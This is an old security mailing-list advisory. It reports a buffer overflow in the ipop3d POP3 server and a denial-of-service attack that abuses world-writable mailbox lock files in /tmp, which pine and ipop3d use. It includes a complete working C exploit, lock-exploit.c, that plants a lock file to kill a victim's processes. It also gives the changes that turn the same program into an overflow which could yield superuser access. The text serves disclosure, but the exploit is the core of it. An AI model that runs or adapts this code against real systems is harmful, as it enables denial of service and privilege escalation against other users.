Date: Sun, 7 Mar 1999 01:41:25 +0100
From: Michal Zalewski 

Overflow in CAC.Washington.EDU ipop3d 4.xx

CAC.Washington.EDU ipop3d 4.xx, at least on Linux platform, has serious 
security hole. When data is read from so-called mailbox lock created in 
/tmp directory (this happens under certain conditions - please refer exploit 
code below), it's stored in _too_small_ buffer. It is possible to overwrite 
some data, and registers as well. For testing purposes, simple exploit code 
presented below could be used - suggested changes:

write(i,"-1",2)   ->   write(i,"(about 1100 b)",1100)
truncate(i,2)     ->   truncate(i,1100);

Exploited overflow in ipop3d could be used to gain superuser access (the
only thing done by ipop3d is setuid+setgid, no seteuid/setreuid).

CAC.Washington.EDU ipop3d is shipped by default with Red Hat Linux,
included in IMAP package.

Solution: you have to look for something like kill(i,SIGUSR2) in sources 
and modify lines just before it ;>


The problem is probably well known, but silently ignored by pine vendors.
Unfortunately, it's possible to turn 'mostly harmless feature' in
something nasty - following code allows various DoSes by killing all
processes of luser (could be root?) every time he/she runs pine or
receives mail via POP3 protocol:

-- lock-exploit.c --
// Pine 4.xx, ipop3d 4.xx and other /tmp-lock based mail stuff.

#include 
#include 
#include 

main(int argc,char* argv[]) {
  int i,a=0;
  char s[100];
  struct stat x;
  if (!argv[1]) exit(printf("Usage: %s account_name\n",argv[0]));
  sprintf(s,"/var/spool/mail/%s",argv[1]);
  if (stat(s,&x)) exit(printf("Mailbox (%s) not found.\n",s));
  sprintf(s,"/tmp/.%x.%x",(int)x.st_dev,(int)x.st_ino);
  fchmod(i=open(s,O_RDWR|O_CREAT,0600),0666);
  while (1) {
    lseek(i,0,0);
    write(i,"-1",2);
    ftruncate(i,2);
    fsync(i);
    if (!a++) if (!flock(i,LOCK_EX)) printf("Got lock on %s.\n",s);
      else printf("File %s already locked, wait...\n",s);
    sleep(1);
  }
}
-- eof --

Works well under Linux. Under BSD, pine seems to have broken mailbox
access negotiation (fortunately ;-). No information about ipop3d.

Mainly, this vunerability demonstrates that world-writable mailbox locks
in /tmp are SICK IDEA (one day, as I recall, one of pine vendors said it's
'harmless', while other solutions allows several DoS attacks... huh).

-

_______________________________________________________________________
Michal Zalewski [lcamtuf@ids.pl] [link / marchew] [dione.ids.pl SYSADM]
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